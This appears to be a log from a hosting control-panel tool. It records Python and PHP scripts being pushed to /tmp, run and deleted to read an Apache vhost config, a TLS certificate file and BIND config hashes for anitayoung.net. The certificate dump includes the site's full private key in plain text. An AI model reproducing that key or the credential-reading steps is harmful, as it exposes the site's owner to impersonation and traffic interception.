#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/anitayoung_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 08:56:22: 

chmod 755 /tmp/pkp928345; /tmp/pkp928345; rm /tmp/pkp928345

2026-06-13 08:56:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf	1192

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-13 08:56:22: 

PUT: /tmp/pkp945577

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 08:56:22: 

chmod 755 /tmp/pkp945577; /tmp/pkp945577; rm /tmp/pkp945577

2026-06-13 08:56:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt	7412
38:a2:7d:36:ba:2e:6c:36:0e:ce:38:7d:02:b1:b2:18

-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBrNr6O6JWshdRJgCExEX/dQMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjEzMDc1NzUwWhcNMjYwOTExMDc1NzQ5WjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AM5VQojS2n+KHDMgn5oGv3/HBcnYfZyBIrIz2xMXG2fIvoMuuc5812nxwGCESRJs
rAERv3UZeA+76drjC9FUmeO7Nf/6LSkI4wE+ZH6Y20z+TfOxF5tU8l8UvxN6nmlN
n6iDFnA5B79az5bRHrWSeHYP0UlguCzaMB6LvkWejKSiD1zko6JkjzKOpQ6Ge5MP
olFL9xqqIVQJ/mS6yt8npQJLcyUI126AHGZ/yCQQ9VnArbQ1PlPHdcgOfkeg/uhZ
I2Sn0mS3BH3r/9xvRVZPwmoG3Ha14mSkUabEdj7uJYhND7IYh7AZg1taoT1TVZK2
M4/TmZ9SMuv2n8ZakEU5i7UCAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQn2e/P
Xb/Yrmc4KHrPLiEUv2vwSDAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj699Ro
+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDmFuaXRheW91bmcubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjEuYy5sZW5jci5vcmcv
MTMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAwjF+V0UZo0XufzjespBB
68fCIVoiv3/Vta12mtkOUs0AAAGewDJD7wAABAMARzBFAiEAvWIAPAlIJOuJR8Wr
ee15oEs8XT91RGplBjZkZmcHTg4CIA90P5qbTolkVrr1XBA74XpPRk5x7/Gu2pZ3
oE8t7JN3AH8ARq+GPTs+5Z+ld96oJF02sNntIqIj9GF3QSKUUu6VUF8AAAGewDJE
zAAIAAAFAAmYzsAEAwBIMEYCIQC25AcQdiWrl3vqxXJltjEEq3slTQ5fx1usUgbd
uEd6cQIhAJZAPsEgQAbjrcNIlzK2F3DLTsqfjcNOEOVykWzvc/66MA0GCSqGSIb3
DQEBCwUAA4IBAQAjckKAjfmo9QWjccHrN6GyIZ3HkIbMiuF+9G7Ge/rC9gneOvZE
bgWFmY7ExYV8ODdeTmpKRoEoug3YDsQNtT+DEM/DuLI0Mg9Tm59xa+hXVH7uey9g
H6tIsXVLftU6DR7M3lmxrcPCq0sFATcDX41NGfFBJB9B12h9Dy+lcjwbEAYzr0RP
fLAcNfAsIiChw2SXAzdTIi8r09RL4HXGjIiyYwahmHQbAKmUhFlWw082Zp0KvAzX
MoL4QUASbLUER/kbuPk2GcUQXiguYDk5AUI0a3D2dE4o34Msgd2yNgLMw2Peednz
SegIxFnKkYrgZyixukXBtU51kudMGhfPMebc
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDOVUKI0tp/ihwz
IJ+aBr9/xwXJ2H2cgSKyM9sTFxtnyL6DLrnOfNdp8cBghEkSbKwBEb91GXgPu+na
4wvRVJnjuzX/+i0pCOMBPmR+mNtM/k3zsRebVPJfFL8Tep5pTZ+ogxZwOQe/Ws+W
0R61knh2D9FJYLgs2jAei75Fnoykog9c5KOiZI8yjqUOhnuTD6JRS/caqiFUCf5k
usrfJ6UCS3MlCNdugBxmf8gkEPVZwK20NT5Tx3XIDn5HoP7oWSNkp9JktwR96//c
b0VWT8JqBtx2teJkpFGmxHY+7iWITQ+yGIewGYNbWqE9U1WStjOP05mfUjLr9p/G
WpBFOYu1AgMBAAECggEACcUvkqmjwnQbp4lTbwIDyzBCHc+cPxVxIadJjkr2HfRI
OFw1j/zV+UScm4iYEM3H8hlqvsfdqUBFYuG4CD0HBNzmdTN3Z2DuDHu6WxfjRojC
NmUvEEicKeFvHNdRE5Zv4xUpMlfMMWtcHUpthFaMhFBCbkTGSj8FfH5mHG2iDK39
lVcBmarNLPxNkqMQgZS3kLoEUYqlLwqw16pcarQFA2CWD7l/q4RB9EBv2q3tzE9Q
M0l9Lk+1nWV+AYSqLZWSh4urv1Od9IhNtQ8f2U1eJTeQVBWmXBVm46N5OdxiTKJN
SmqA6NlbtlBUfNeme5S58CK0gQGp568q4kHAvR+RkQKBgQD9mbL2j642xS2itKTO
MxsaLR2BpIroHZdkcOsfjkTPkbVbnoDFWF8Pv8XwrRpxH2Se68+fBkYFewdFv29/
tC+pDm2Oawa6va9ad0uGOGW4c6Hq3NDlDiARvtwNY2d/1FLGRn0YW7v8q7YNHriN
5CuwWFg5k9/++YyWbLWfhLsHWQKBgQDQSRBz8NUUJiXsSgoz0WGEe7luR5t0oiLK
djcw3/NMR3rsfxG3+FJ5KVzBmk3lECfDw4fgPbegRR3XFRXUP/RPY7tNKDFZgMMW
8Ph6eO1cBPQbNvzExRW8eZff8PtFSsyZqN3nzlVpekqSDzup6FW1FBr+2+RDyjOC
6vgJK/k3vQKBgBx/2lnVGcnz7MX9MQwvOBt/+HHqUOX29V2HRxUbwuXkxRHPxT7o
SH6XmaILgg42bfNiIsoHRXU2N0ICWoBqenSwN2Wq522zBXLQNz+VNPE+pXKkcCFd
rgLwhQBILIh0Dv1TTJmhLYYese3Vhv4DJ1nBA+Esmh6oYsFA5ERSAUa5AoGBAK2q
fiFtyPyH4k7mXSNfjaPdVXtyEVhqZ//QGaySzlXns8LFIIz4bCvCJSj388LueXls
6zo5u4XSm1LerdjPinE3gtCOlrc9+WyDd2sGsUJsjuyyKIgYnEsOR2fdkmTwPTBR
8NR64hSUduDZ+rFsmynkna2qwuUTD2g1aqKbG60xAoGBAPOjZnxL+3Wk20e72n0i
nSXCaSSvyUFWyziPKjLKHRK2hGO7myY1JiG/fb9++xeip3sNgxru1mW7EHQoNKSD
JWs/DXRAg0MFfebOq0hz7KJwVAf/u0jeUiFqypgM9au6O5FOlv8+qSDfwtHeqFgV
yy6zru+4ujprLq20AOxSayXe
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-13 10:31:11: Establishing a connection
2026-06-13 10:33:34: Establishing a connection
2026-06-13 10:33:50: Establishing a connection
2026-06-13 10:33:50: 

PUT: /tmp/pkp911203

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-13 10:33:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp911203; rm /tmp/pkp911203'

2026-06-13 10:33:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
